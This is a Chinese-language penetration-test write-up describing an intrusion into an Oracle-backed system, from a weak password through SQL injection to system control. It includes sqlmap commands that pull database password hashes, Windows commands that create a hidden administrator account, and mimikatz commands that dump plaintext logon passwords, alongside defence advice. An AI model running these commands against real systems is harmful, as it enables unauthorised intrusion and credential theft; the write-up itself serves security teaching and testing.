【实战】一次从弱口令到getshell
字数 1079 2025-08-13 21:33:27
Oracle数据库渗透实战:从弱口令到GetShell
0x00 前言
本文详细记录了一次针对Oracle数据库系统的完整渗透过程,涵盖弱口令利用、SQL注入漏洞发现、Oracle数据库提权以及最终获取系统管理员权限的全流程。所有涉及漏洞均已提交,渗透测试需遵守法律法规。
0x01 信息收集与弱口令利用
- 目标发现:通过子域名扫描发现老旧系统(2014年建立)
- 弱口令测试:
- 初始爆破未果
- 尝试简单组合
123/123成功登录 - 获取"编辑"人员权限账户
0x02 SQL注入漏洞发现与利用
-
漏洞发现:
- 在人员查询接口发现SQL注入点:
http://host.com/xxx/control/SearchMenHunInfo?content=123 - 该接口存在未授权访问漏洞
- 在人员查询接口发现SQL注入点:
-
SQLMap利用:
# 基本检测 python sqlmap.py -u "http://host.com/xxx/control/SearchMenHunInfo?content=123" --current-db # 确认数据库类型为Oracle python sqlmap.py -u "http://host.com/xxx/control/SearchMenHunInfo?content=123" -b # 检查数据库权限 python sqlmap.py -u "http://host.com/xxx/control/SearchMenHunInfo?content=123" --is-dba -
关键信息收集:
- 进入SQL-shell模式获取更多信息:
-- 查询SID select instance_name from v$instance; -- 查询当前IP select sys_context('userenv','ip_address') from dual; - 爆破数据库账号密码:
python sqlmap.py -u "http://host.com/xxx/control/SearchMenHunInfo?content=123" --passwords
- 进入SQL-shell模式获取更多信息:
0x03 Oracle数据库提权与命令执行
-
Oracle版本确认:
- 确认目标Oracle版本支持命令执行
-
工具准备:
- 使用
oracleShell工具进行命令执行 - 所需信息:
- 数据库IP
- 端口(默认1521)
- SID
- 有效账号密码(如SYSTEM/SYS)
- 使用
-
连接数据库:
- 使用获取的凭证连接Oracle数据库
- 确认获得SYSTEM权限
0x04 系统权限提升与横向移动
-
操作系统命令执行:
# 创建新用户 net user name pwd /add # 添加到管理员组 net localgroup Administrators name /add -
远程桌面连接:
- 使用新创建的用户凭证通过RDP连接
-
凭证收集:
- 上传mimikatz工具
- 获取管理员明文密码:
privilege::debug sekurlsa::logonPasswords - 使用管理员凭证登录RDP
0x05 技术总结
-
渗透路径:
弱口令 → SQL注入 → Oracle数据库提权 → 系统命令执行 → 管理员权限获取 -
关键点:
- 老旧系统往往存在简单弱口令
- 未授权接口可能暴露高危漏洞
- Oracle特定版本存在命令执行风险
- 数据库高权限账户可导致系统沦陷
-
防御建议:
- 禁用简单弱口令,实施强密码策略
- 修复SQL注入漏洞,参数化查询
- 限制数据库账户权限,避免SYSTEM账户滥用
- 监控异常数据库查询和命令执行行为
0x06 工具与命令速查
| 工具/命令 | 用途 |
|---|---|
| sqlmap | SQL注入检测与利用 |
| oracleShell | Oracle数据库命令执行 |
| net user | Windows用户管理 |
| mimikatz | Windows凭证提取 |
0x07 参考资源
- Oracle数据库安全配置指南
- OWASP SQL注入防护手册
- 数据库权限最小化原则
注意:本文仅用于教育目的,实际渗透测试必须获得授权并遵守相关法律法规。